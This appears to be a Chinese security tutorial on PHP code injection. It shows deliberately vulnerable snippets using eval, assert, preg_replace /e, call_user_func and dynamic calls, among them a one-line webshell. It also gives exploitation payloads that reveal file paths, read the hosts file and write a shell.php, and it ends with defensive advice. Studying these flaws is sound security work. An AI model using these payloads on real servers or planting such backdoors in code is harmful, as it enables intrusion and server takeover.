天天看點

PHP 代碼注入漏洞PHP 代碼注入

文章目錄

  • PHP 代碼注入
    • 原理及成因
    • 漏洞危害
    • 相關函數和語句
      • eval()語言結構
      • assert()函數
      • preg_replace()函數
      • call_user_func()函數
      • 動态函數`$a($b)`
    • 漏洞利用
    • 防禦方法

PHP 代碼注入

PHP 代碼注入 屬于代碼注入漏洞中的一種。

原理及成因

PHP 代碼執行(注入)是指(Web 方面)應用程式過濾不嚴,使用者可以通過請求将代碼注入到應用中執行。代碼執行(注入)類似于SQL注入漏洞,SQLi是将SQL語句注入到資料庫中執行,而代碼執行則是可以把代碼注入到應用中最終由伺服器運作它。這樣的漏洞如果沒有特殊的過濾,相當于直接有一個web後門的存在。

  1. 程式中含有可以執行php 代碼的函數或者語言結構
  2. 傳入第一點中的參數,用戶端可控,直接修改或者影響

漏洞危害

Web 應用如果存在代碼執行漏洞是一件非常可怕的事情,就像一個人沒有穿衣服,赤裸裸的暴露在光天化日之下。可以通過代碼執行漏洞繼承Web 使用者權限,執行任意代碼。如果具有伺服器沒有正确配置,Web 使用者權限比較高的話,我們可以讀寫目标伺服器任意檔案内容,甚至控制整個網站以及伺服器。

PHP 中有很多函數和語句都會造成PHP代碼執行漏洞。

相關函數和語句

eval()語言結構

将傳進來的字元串當作php代碼執行,裡面的參數必須加分号才能執行!

例如:一句話木馬

<?php
if(isset($_REQUEST['code'])){
	eval($_REQUEST['code']);
}
?>
           
PHP 代碼注入漏洞PHP 代碼注入
PHP 代碼注入漏洞PHP 代碼注入

assert()函數

将傳進來的字元串當作php代碼執行,可以不用加分号就能執行!

<?php
if(@isset($_REQUEST['code'])){
 @assert($_REQUEST['code']);
}
?>
           
PHP 代碼注入漏洞PHP 代碼注入

preg_replace()函數

對字元串進行正則處理

參數和傳回值如下:

mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject [,int limit = -1[,int &$count)1)

原理:在subject中搜尋比對pattern正規表達式的部分用replacment來替換,當pattern參數存在/e 修飾符時,會将replacment的值當作php 代碼執行。

<?php
if(isset($_GET['code'])) {
$code=$_GET['code'];
preg_replace( "/\[(.*)\]/e",'\\1',$code);
// 比對[]裡面的内容,\\1代表正則第一次比對的内容
}
?>
           
PHP 代碼注入漏洞PHP 代碼注入

call_user_func()函數

call_user_func( )等函數都有調用其他函數的功能,其中的第一個參數作為要調用的函數名(回調函數),第二個參數為回調函數的參數,那如果這個傳入的函數名可控,那就可以調用意外的函數來執行我們想要的代碼,也就是存在任意代碼執行漏洞。

以call_user_func()為例子,該函數的第一個參數作為回調函數,後面的參數為回調函數的參數,測試代碼如下:

<?php
if(isset($_GET['fun'])) {
 $fun=$_GET['fun'];//assert
 $para=$_GET['para'];//phpinfo();
 call_user_func($fun,$para);//eval(phpinfo();)
}
?>
           
PHP 代碼注入漏洞PHP 代碼注入

動态函數

$a($b)

由于PHP的特性原因,PHP的函數支援直接由拼接的方式調用,這直接導緻了PHP在安全上的控制有加大了難度。不少知名程式中也用到了動态函數的寫法,這種寫法跟使用call_user_func()的初衷一樣,用來更加友善地調用函數,但是一旦過濾不嚴格就會造成代碼執行漏洞。測試代碼如下:

<?php
if(isset($_GET['a'])) {
 $a=$_GET['a'];
 $b=$_GET['b'];
 $a($b);
}
?>
           
PHP 代碼注入漏洞PHP 代碼注入

漏洞利用

  1. 直接擷取shell

    一句話木馬使用菜刀或者蟻劍連接配接即可。

  2. 擷取目前檔案的絕對路徑

    __FILE__

    是PHP預定義常量,其含義目前檔案的路徑。送出代碼

    ?code=print(__FILE__);

    PHP 代碼注入漏洞PHP 代碼注入
  3. 讀檔案

    我們可以利用file_get_contents()函數讀取伺服器任意檔案,前提是知道目标檔案路徑和具有讀取權限。送出代碼

    ?code=var_dump(file_get_contents( 'c:\windows\system32\drivers\etc\hosts'));

    讀取伺服器hosts檔案。
    PHP 代碼注入漏洞PHP 代碼注入
  4. 寫檔案

    我們可以利用file_put_contents()函數,寫入檔案。前提是知道可寫目錄。

    送出代碼

    ?code=var_dump(file_put_contents($_POST[1],$_POST[2]));

    第一個參數是檔案名,第二個參數是檔案内容,此時需要借助于hackbar通過post 方式送出參數

    1=shell.php&2=<?php phpinfo()?>

    即可在目前目錄下建立一個shell.php檔案。
    PHP 代碼注入漏洞PHP 代碼注入
    PHP 代碼注入漏洞PHP 代碼注入

防禦方法

  1. 盡量不要使用eval等函數
  2. 如果使用的話一定要進行嚴格的過濾
  3. preg_replace放棄使用/e修飾符
  4. 禁用函數,修改配置檔案php.ini裡的 disable functions = 要禁用的函數